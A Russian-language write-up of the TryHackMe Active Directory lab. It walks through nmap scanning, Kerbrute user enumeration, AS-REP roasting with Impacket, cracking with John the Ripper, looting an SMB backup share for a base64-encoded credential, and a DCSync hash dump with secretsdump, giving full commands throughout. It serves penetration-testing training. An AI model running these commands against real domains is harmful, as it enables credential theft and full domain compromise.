Данная статья содержит подробный разбор лабораторной работы с TryHackMe, посвященной тестированию на проникновение Active Directory. Приятного прочтения!

Дисклеймер: Все методы примененные в статье продемонстрированы в учебных целях.

Шаг 0: Сканирование с помощью Nmap

Любой пентест начинается со сканирования внутренней сети. У нас есть ip машины, поэтому запустим nmap для того, чтобы посмотреть открытые порты и запущенные на них сервисы

nmap -sC -sV -T4 10.10.108.102

-sC -> опция, запускающая сканирование на основе скриптов;

-sV -> определяет версии служб, запущенных на открытых портах;

-T4 -> время сканирования.

Результат сканирования Nmap
Результат сканирования Nmap

Шаг 1: Перебор активных пользователей

После проведения рекона, следующей стадией становится поиск так называемых низко висящих фруктов путем перебора валидных имен пользователей для проведения дальнейшей атаки. Воспользуемся утилитой Kerbrute

./kerbrute_linux_amd64 userenum userlist.txt --dc spookysec.local -d spookysec.local -t 10

userenum -> перебор активных пользователей;

--dc -> местонахождение контроллера домена;

-d -> область действия, домен;

-t -> количество потоков.

Результат работы Kerbrute
Результат работы Kerbrute

Kerbrute - утилита, предназначенная для перебора имен пользователей, брутфорса паролей для пользователей, спреинга паролей, перебор пар имя пользователя:пароль

Username List:

wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt

Password List:

wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt

Шаг 2: Перехват TGT

После получения списка активных пользователей попробуем произвести атаку Kerberoasting, получив TGT билеты путем перехвата AS_REP пользователей без предварителньой аутентификации, то есть в своем составе TGT не имеет метку времени, что позовляет перебрать его после перехвата. Особенности аутентификации в Kerberos и другие процессы мы описывали в нашей статье про Bronze Bit Attack

Для этого выберем пользователя svc-admin

GetNPUsers.py -dc-ip spookysec.local spookysec.local/svc-admin -no-pass

GetNPUsers - один из модулей утилиты Impacket, предназначенной взаимодействия с Active Directory. GetNPUsers запрашивает целевой домен для пользователей с установленным параметром "Не требовать предварительной аутентификации Kerberos", собирает ответы AS_REP без предварительной аутентификации и экспортирует их TGT для подбора пароля, так как они зашифрованы паролем пользователя. Это атака Kerberoasting с ответом AS_REP

-dc-ip -> ip контроллера домена. Можно указать доменное имя, если прописать его в /etc/hosts

spookysec.local/svc-admin -> также указываем пользователя и домен, в котором он находится

-no-pass -> делает запрос без пароля

Перехваченный TGT
Перехваченный TGT

Шаг 3: Локальный перебор TGT

Успешно перехватив TGT-билет с помощью утилиты JohnTheRipper локально запустим перебор паролей

john --rules --wordlist=rockyou.txt hash.txt
Взломанный пароль пользователя, полученный из TGT
Взломанный пароль пользователя, полученный из TGT

JohnTheRipper - утилита для брутфорса хэшей по словарю. Умеет по соли определять вид хеша, что упрощает работу;

--rules -> перебор не просто по словарю, а по определенным правилам, то есть изменение в словах регистра и тому подобное;

--wordlist-> указываем словарь, который будет использоваться для перебора. И в конце указываем файл, содержащий хэш.

Шаг 4: Используем SMBClient для проверки shares

Получив пароль в открытом виде, попробуем посмотреть доступные нам smb shares для поиска на них полезных нам файлов

smbclient -L \\\\spookysec.local\\ -U 'svc-admin'

-L -> при подключении получает список shares, доступных на хосте;

-U -> указание пользователя, под которым происходит подключение через SMB.

Использование smbclient
Использование smbclient

Интересным для нас будет вероятно всего share /backup.Заходим на \spookysec.local\backup и забираем файл backup_credentials.txt

Забираем файл backup_credentials.txt
Забираем файл backup_credentials.txt

В файле лежит строка, закодированная в base64 строка YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

Декодим ее:

backup@spookysec.local:backup2517860

Шаг 5: Используем secretsdump, чтобы сдампить хеши

Получив пароль, мы можем сдампить секреты пользователей с помощью модуля secretsdump из утилиты Impacket

secretsdump.py spookysec.local/backup:backup2517860@spookysec.local 

secretsdump - модуль из утилиты Impacket, позволяющий удаленно сдампить хэши с контроллера домена. Для этого указываем домен, пользователя, его пароль и ip целевого хоста

Результат работы Impacket
Результат работы Impacket

Как это работает?

По сути secretsdump делает так называемый DCSync, то есть репликацию домена. Это атака, при проведении которой хакер выдает себя за DC с целью получения секретов пользователей для дальнейшего перемещения по домену. Как это происходит:

  1. Происходит обнаружение DC по доменному имени или по ip-адресу.

  2. Далее хакер от лица DC посылает запрос на репликацию учетных данных пользователей к другому контроллеру домена через функцию GetNCChanges(), используя Directory Replication Service (DRS) Remote Protocol.

  3. Все эти данные сохраняются в ветви реестра SYSTEM, SECURITY,SAM и дальше мы извлекаем их из реестра целевой машины.

Вот и все, что мы хотели вам показать в этом кратком разборе! Помните, нет ни одной системы, полностью защищенной от атак!

Комментарии (0)